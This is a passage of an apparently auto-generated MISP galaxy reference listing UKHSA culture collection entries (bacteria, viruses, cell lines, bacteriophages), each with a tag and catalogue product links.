The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudoxanthomonas winnipegensis"*

Table 27829. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudoxanthomonas-winnipegensis

Enemella evansiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Enemella evansiae"*

Table 27830. Table References

Links
https://www.culturecollections.org.uk/nop/product/enemella-evansiae

Enemella dayhoffiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Enemella dayhoffiae"*

Table 27831. Table References

Links
https://www.culturecollections.org.uk/nop/product/enemella-dayhoffiae

Streptococcus caledonicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus caledonicus"*

Table 27832. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-caledonicus

Eschericia ruysiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Eschericia ruysiae"*

Table 27833. Table References

Links
https://www.culturecollections.org.uk/nop/product/eschericia-ruysiae

Paraburkholderia agricolaris

The tag is: *misp-galaxy:ukhsa-culture-collections="Paraburkholderia agricolaris"*

Table 27834. Table References

Links
https://www.culturecollections.org.uk/nop/product/paraburkholderia-agricolaris

Varibaculum cambriense

The tag is: *misp-galaxy:ukhsa-culture-collections="Varibaculum cambriense"*

Table 27835. Table References

Links
https://www.culturecollections.org.uk/nop/product/varibaculum-cambriense

Legionella wadsworthii

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella wadsworthii"*

Table 27836. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-wadsworthii-2
https://www.culturecollections.org.uk/nop/product/legionella-wadsworthii

Eikenella longinqua

The tag is: *misp-galaxy:ukhsa-culture-collections="Eikenella longinqua"*

Table 27837. Table References

Links
https://www.culturecollections.org.uk/nop/product/eikenella-longinqua

Auritidibacter ignavus

The tag is: *misp-galaxy:ukhsa-culture-collections="Auritidibacter ignavus"*

Table 27838. Table References

Links
https://www.culturecollections.org.uk/nop/product/auritidibacter-ignavus

Eikenella halliae

The tag is: *misp-galaxy:ukhsa-culture-collections="Eikenella halliae"*

Table 27839. Table References

Links
https://www.culturecollections.org.uk/nop/product/eikenella-halliae

Streptococcus vicugnae

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus vicugnae"*

Table 27840. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-vicugnae

Streptococcus pacificus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus pacificus"*

Table 27841. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-pacificus

Streptococcus zalophi

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus zalophi"*

Table 27842. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-zalophi

Oceanivirga miroungae

The tag is: *misp-galaxy:ukhsa-culture-collections="Oceanivirga miroungae"*

Table 27843. Table References

Links
https://www.culturecollections.org.uk/nop/product/oceanivirga-miroungae

Staphylococcus lloydii

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus lloydii"*

Table 27844. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-lloydii

Staphylococcus durrellii

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus durrellii"*

Table 27845. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-durrellii

Aag2-AF319

The tag is: *misp-galaxy:ukhsa-culture-collections="Aag2-AF319"*

Table 27846. Table References

Links
https://www.culturecollections.org.uk/nop/product/aag2-af319

Aag2-AF5

The tag is: *misp-galaxy:ukhsa-culture-collections="Aag2-AF5"*

Table 27847. Table References

Links
https://www.culturecollections.org.uk/nop/product/aag2-af5

HT29-MTX resistant (10 microMolar)

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29-MTX resistant (10 microMolar)"*

Table 27848. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29-mtx-resistant-10-micromolar

HT29-5FU resistant (10 microMolar)

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29-5FU resistant (10 microMolar)"*

Table 27849. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29-5fu-resistant-10-micromolar

HT29-MTX resistant (100 microMolar)

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29-MTX resistant (100 microMolar)"*

Table 27850. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29-mtx-resistant-100-micromolar

HT29-5FU resistant (1 microMolar)

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29-5FU resistant (1 microMolar)"*

Table 27851. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29-5fu-resistant-1-micromolar

HT29-MTX resistant *(1 microMolar)

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29-MTX resistant *(1 microMolar)"*

Table 27852. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29-mtx-resistant-1-micromolar

Human coronavirus OC43

The tag is: *misp-galaxy:ukhsa-culture-collections="Human coronavirus OC43"*

Table 27853. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-coronavirus-oc43

Human coronavirus NL63

The tag is: *misp-galaxy:ukhsa-culture-collections="Human coronavirus NL63"*

Table 27854. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-coronavirus-nl63

Acholeplasma equirhinis

The tag is: *misp-galaxy:ukhsa-culture-collections="Acholeplasma equirhinis"*

Table 27855. Table References

Links
https://www.culturecollections.org.uk/nop/product/acholeplasma-equirhinis

Rev-Erb alpha (NR1D1)

The tag is: *misp-galaxy:ukhsa-culture-collections="Rev-Erb alpha (NR1D1)"*

Table 27856. Table References

Links
https://www.culturecollections.org.uk/nop/product/rev-erb-alpha-nr1d1

CD1B4

The tag is: *misp-galaxy:ukhsa-culture-collections="CD1B4"*

Table 27857. Table References

Links
https://www.culturecollections.org.uk/nop/product/cd1b4

Mycoplasma procyoni

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma procyoni"*

Table 27858. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-procyoni

Treponema phagedenis

The tag is: *misp-galaxy:ukhsa-culture-collections="Treponema phagedenis"*

Table 27859. Table References

Links
https://www.culturecollections.org.uk/nop/product/treponema-phagedenis

Leptotrichia buccalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Leptotrichia buccalis"*

Table 27860. Table References

Links
https://www.culturecollections.org.uk/nop/product/leptotrichia-buccalis-4
https://www.culturecollections.org.uk/nop/product/leptotrichia-buccalis-3
https://www.culturecollections.org.uk/nop/product/leptotrichia-buccalis-2

Corynebacterium sanguinis

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium sanguinis"*

Table 27861. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-sanguinis

Salmonella bongori

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella bongori"*

Table 27862. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-bongori-5

https://www.culturecollections.org.uk/nop/product/salmonella-bongori-4
https://www.culturecollections.org.uk/nop/product/salmonella-bongori-3
https://www.culturecollections.org.uk/nop/product/salmonella-bongori-2
https://www.culturecollections.org.uk/nop/product/salmonella-bongori

Actinobacillus vicugnae

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus vicugnae"*

Table 27863. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-vicugnae

Mycobacterium gordonae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium gordonae"*

Table 27864. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-gordonae-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-gordonae
https://www.culturecollections.org.uk/nop/product/mycobacterium-gordonae-2

Mycobacterium kumamotonense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium kumamotonense"*

Table 27865. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-kumamotonense

Legionella pneumophila

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella pneumophila"*

Table 27866. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-32
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-22
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-16

https://www.culturecollections.org.uk/nop/product/legionella-pneumophila
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-10
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-6
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-4
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-30
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-27
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-25
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-24
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-21
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-17
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-20
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-15
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-9
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-29
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-19
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-3
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-31
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-13
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-8
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-5
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-11
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-12
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-23
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-2
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-18
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-26
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-14
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-28
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-7

Neisseria zalophi

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria zalophi"*

Table 27867. Table References

Links

https://www.culturecollections.org.uk/nop/product/neisseria-zalophi

Mycobacterium europaeum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium europaeum"*

Table 27868. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-europaeum

Staphylococcus cornubiensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus cornubiensis"*

Table 27869. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-cornubiensis

Scandinavium goeteborgensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Scandinavium goeteborgensis"*

Table 27870. Table References

Links
https://www.culturecollections.org.uk/nop/product/scandinavium-goeteborgensis

Macrococcus caseolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Macrococcus caseolyticus"*

Table 27871. Table References

Links
https://www.culturecollections.org.uk/nop/product/macrococcus-caseolyticus

Corynebacterium accolens

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium accolens"*

Table 27872. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-accolens

Haemophilus influenzae

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus influenzae"*

Table 27873. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-5
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-28
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-27
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-16
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-22
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-19
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-20
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-10
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-18
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-29
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-26
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-24
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-6
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-30
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-7
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-12
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-17
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-25
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-23
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-15
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-8
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-2
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-3
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-21
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-11
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-13
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-4
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-14
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-9

Treponema rectale

The tag is: *misp-galaxy:ukhsa-culture-collections="Treponema rectale"*

Table 27874. Table References

Links
https://www.culturecollections.org.uk/nop/product/treponema-rectale

H9c2 (2-1)

The tag is: *misp-galaxy:ukhsa-culture-collections="H9c2 (2-1)"*

Table 27875. Table References

Links
https://www.culturecollections.org.uk/nop/product/h9c2-2-1

Kaistella carnis

The tag is: *misp-galaxy:ukhsa-culture-collections="Kaistella carnis"*

Table 27876. Table References

Links
https://www.culturecollections.org.uk/nop/product/kaistella-carnis

Planobacterium taklimakanense

The tag is: *misp-galaxy:ukhsa-culture-collections="Planobacterium taklimakanense"*

Table 27877. Table References

Links
https://www.culturecollections.org.uk/nop/product/planobacterium-taklimakanense

Salmonella enterica subsp. enterica serotype Crewe

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Crewe"*

Table 27878. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-crewe

Huh-7D12

The tag is: *misp-galaxy:ukhsa-culture-collections="Huh-7D12"*

Table 27879. Table References

Links
https://www.culturecollections.org.uk/nop/product/huh-7d12

Staphylococcus hyicus bacteriophage

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus hyicus bacteriophage"*

Table 27880. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-hyicus-bacteriophage

NZM11

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM11"*

Table 27881. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm11

NZM12

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM12"*

Table 27882. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm12

NZM1

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM1"*

Table 27883. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm1

SIRMu-1

The tag is: *misp-galaxy:ukhsa-culture-collections="SIRMu-1"*

Table 27884. Table References

Links
https://www.culturecollections.org.uk/nop/product/sirmu-1

MM383

The tag is: *misp-galaxy:ukhsa-culture-collections="MM383"*

Table 27885. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm383-2

NO36

The tag is: *misp-galaxy:ukhsa-culture-collections="NO36"*

Table 27886. Table References

Links
https://www.culturecollections.org.uk/nop/product/no36-2

NZM2

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM2"*

Table 27887. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm2

NZM3

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM3"*

Table 27888. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm3

NZM5

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM5"*

Table 27889. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm5

NZM6

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM6"*

Table 27890. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm6

ONE58

The tag is: *misp-galaxy:ukhsa-culture-collections="ONE58"*

Table 27891. Table References

Links
https://www.culturecollections.org.uk/nop/product/one58-2

NZOV9

The tag is: *misp-galaxy:ukhsa-culture-collections="NZOV9"*

Table 27892. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzov9

NZM7

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM7"*

Table 27893. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm7

NZM43

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM43"*

Table 27894. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm43

NZM42

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM42"*

Table 27895. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm42

NZM40

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM40"*

Table 27896. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm40

NZM4

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM4"*

Table 27897. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm4

NZM30

The tag is: *misp-galaxy:ukhsa-culture-collections="NZM30"*

Table 27898. Table References

Links
https://www.culturecollections.org.uk/nop/product/nzm30

MM576

The tag is: *misp-galaxy:ukhsa-culture-collections="MM576"*

Table 27899. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm576

MM537

The tag is: *misp-galaxy:ukhsa-culture-collections="MM537"*

Table 27900. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm537

MM485

The tag is: *misp-galaxy:ukhsa-culture-collections="MM485"*

Table 27901. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm485

MM473

The tag is: *misp-galaxy:ukhsa-culture-collections="MM473"*

Table 27902. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm473

MM466

The tag is: *misp-galaxy:ukhsa-culture-collections="MM466"*

Table 27903. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm466

MM426

The tag is: *misp-galaxy:ukhsa-culture-collections="MM426"*

Table 27904. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm426-2

MM415

The tag is: *misp-galaxy:ukhsa-culture-collections="MM415"*

Table 27905. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm415-2

MM386

The tag is: *misp-galaxy:ukhsa-culture-collections="MM386"*

Table 27906. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm386-2

MM370

The tag is: *misp-galaxy:ukhsa-culture-collections="MM370"*

Table 27907. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm370-2

MM253

The tag is: *misp-galaxy:ukhsa-culture-collections="MM253"*

Table 27908. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm253

MM138

The tag is: *misp-galaxy:ukhsa-culture-collections="MM138"*

Table 27909. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm138

MM127

The tag is: *misp-galaxy:ukhsa-culture-collections="MM127"*

Table 27910. Table References

Links
https://www.culturecollections.org.uk/nop/product/mm127-2

MCC26

The tag is: *misp-galaxy:ukhsa-culture-collections="MCC26"*

Table 27911. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcc26-3

MCC14/2

The tag is: *misp-galaxy:ukhsa-culture-collections="MCC14/2"*

Table 27912. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcc142-2

MCC13

The tag is: *misp-galaxy:ukhsa-culture-collections="MCC13"*

Table 27913. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcc13-2

LO68

The tag is: *misp-galaxy:ukhsa-culture-collections="LO68"*

Table 27914. Table References

Links
https://www.culturecollections.org.uk/nop/product/lo68-2

LIM2551

The tag is: *misp-galaxy:ukhsa-culture-collections="LIM2551"*

Table 27915. Table References

Links
https://www.culturecollections.org.uk/nop/product/lim2551

LIM2550

The tag is: *misp-galaxy:ukhsa-culture-collections="LIM2550"*

Table 27916. Table References

Links
https://www.culturecollections.org.uk/nop/product/lim2550

LIM2405

The tag is: *misp-galaxy:ukhsa-culture-collections="LIM2405"*

Table 27917. Table References

Links
https://www.culturecollections.org.uk/nop/product/lim2405

LIM2099

The tag is: *misp-galaxy:ukhsa-culture-collections="LIM2099"*

Table 27918. Table References

Links
https://www.culturecollections.org.uk/nop/product/lim2099

LIM1899

The tag is: *misp-galaxy:ukhsa-culture-collections="LIM1899"*

Table 27919. Table References

Links
https://www.culturecollections.org.uk/nop/product/lim1899-2

LIM1215

The tag is: *misp-galaxy:ukhsa-culture-collections="LIM1215"*

Table 27920. Table References

Links
https://www.culturecollections.org.uk/nop/product/lim1215-2

JU77

The tag is: *misp-galaxy:ukhsa-culture-collections="JU77"*

Table 27921. Table References

Links
https://www.culturecollections.org.uk/nop/product/ju77-2

AE17

The tag is: *misp-galaxy:ukhsa-culture-collections="AE17"*

Table 27922. Table References

Links
https://www.culturecollections.org.uk/nop/product/ae17-2

AB12

The tag is: *misp-galaxy:ukhsa-culture-collections="AB12"*

Table 27923. Table References

Links
https://www.culturecollections.org.uk/nop/product/ab12-2

AB1

The tag is: *misp-galaxy:ukhsa-culture-collections="AB1"*

Table 27924. Table References

Links
https://www.culturecollections.org.uk/nop/product/ab1-2

NIMP-R14

The tag is: *misp-galaxy:ukhsa-culture-collections="NIMP-R14"*

Table 27925. Table References

Links
https://www.culturecollections.org.uk/nop/product/nimp-r14

MCF7/LetR-2

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/LetR-2"*

Table 27926. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7letr-2

Bordetella pseudohinzii

The tag is: *misp-galaxy:ukhsa-culture-collections="Bordetella pseudohinzii"*

Table 27927. Table References

Links
https://www.culturecollections.org.uk/nop/product/bordetella-pseudohinzii

Bisgaardia hudsonensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bisgaardia hudsonensis"*

Table 27928. Table References

Links
https://www.culturecollections.org.uk/nop/product/bisgaardia-hudsonensis

HEK293-A mRFP-ATG9

The tag is: *misp-galaxy:ukhsa-culture-collections="HEK293-A mRFP-ATG9"*

Table 27929. Table References

Links
https://www.culturecollections.org.uk/nop/product/hek293-a-mrfp-atg9-2

Wilms' Tumor 17.94

The tag is: *misp-galaxy:ukhsa-culture-collections="Wilms' Tumor 17.94"*

Table 27930. Table References

Links
https://www.culturecollections.org.uk/nop/product/wilms-tumor-1794

HeLa EGFP-Histone H2B

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa EGFP-Histone H2B"*

Table 27931. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-egfp-histone-h2b-3

HEK293-A GFP-WIPI1

The tag is: *misp-galaxy:ukhsa-culture-collections="HEK293-A GFP-WIPI1"*

Table 27932. Table References

Links
https://www.culturecollections.org.uk/nop/product/hek293-a-gfp-wipi1

HEK293-A GFP-WIPI2

The tag is: *misp-galaxy:ukhsa-culture-collections="HEK293-A GFP-WIPI2"*

Table 27933. Table References

Links
https://www.culturecollections.org.uk/nop/product/hek293-a-gfp-wipi2-2

Listeria innocua

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria innocua"*

Table 27934. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-innocua-4
https://www.culturecollections.org.uk/nop/product/listeria-innocua-2
https://www.culturecollections.org.uk/nop/product/listeria-innocua-3
https://www.culturecollections.org.uk/nop/product/listeria-innocua

MCF7/AnaR-3

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/AnaR-3"*

Table 27935. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7anar-3

MCF7/AnaR-1

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/AnaR-1"*

Table 27936. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7anar-1

MCF7/TAMR-4

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/TAMR-4"*

Table 27937. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7tamr-4

MCF7/TAMR-8

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/TAMR-8"*

Table 27938. Table References

Links

https://www.culturecollections.org.uk/nop/product/mcf7tamr-8

MCF7/164R-7

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/164R-7"*

Table 27939. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7164r-7

MCF7/164R-4

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/164R-4"*

Table 27940. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7164r-4-5

Clostridium sardiniense

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium sardiniense"*

Table 27941. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-sardiniense
https://www.culturecollections.org.uk/nop/product/clostridium-sardiniense-2
https://www.culturecollections.org.uk/nop/product/clostridium-sardiniense-3

Streptococcus pneumoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus pneumoniae"*

Table 27942. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-43
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-38
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-42
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-44
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-26
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-22

https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-21
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-18
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-16
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-39
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-37
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-40
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-36
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-34
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-31
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-27
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-6
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-5
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-24
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-23
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-20
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-19
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-14
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-12
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-11
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-10
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-9
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-4
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-41
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-35
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-32
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-7
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-3
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-2
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-28
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-30
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-13
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-17
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-25

https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-33
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-15
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-8
https://www.culturecollections.org.uk/nop/product/streptococcus-pneumoniae-29

Varibaculum anthropi

The tag is: *misp-galaxy:ukhsa-culture-collections="Varibaculum anthropi"*

Table 27943. Table References

Links
https://www.culturecollections.org.uk/nop/product/varibaculum-anthropi

Enterobacter chuandaensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterobacter chuandaensis"*

Table 27944. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterobacter-chuandaensis

Gardnerella swindsinskii

The tag is: *misp-galaxy:ukhsa-culture-collections="Gardnerella swindsinskii"*

Table 27945. Table References

Links
https://www.culturecollections.org.uk/nop/product/gardnerella-swindsinskii

Gardnerella piotii

The tag is: *misp-galaxy:ukhsa-culture-collections="Gardnerella piotii"*

Table 27946. Table References

Links
https://www.culturecollections.org.uk/nop/product/gardnerella-piotii

Gardnerella leopoldii

The tag is: *misp-galaxy:ukhsa-culture-collections="Gardnerella leopoldii"*

Table 27947. Table References

Links
https://www.culturecollections.org.uk/nop/product/gardnerella-leopoldii

Actinomyces urogenitalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces urogenitalis"*

Table 27948. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-urogenitalis

Yersinia massiliensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia massiliensis"*

Table 27949. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-massiliensis

Campylobacter coli bacteriophage

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter coli bacteriophage"*

Table 27950. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-bacteriophage-4
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-bacteriophage-3
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-bacteriophage-2

Campylobacter jejuni bacteriophage

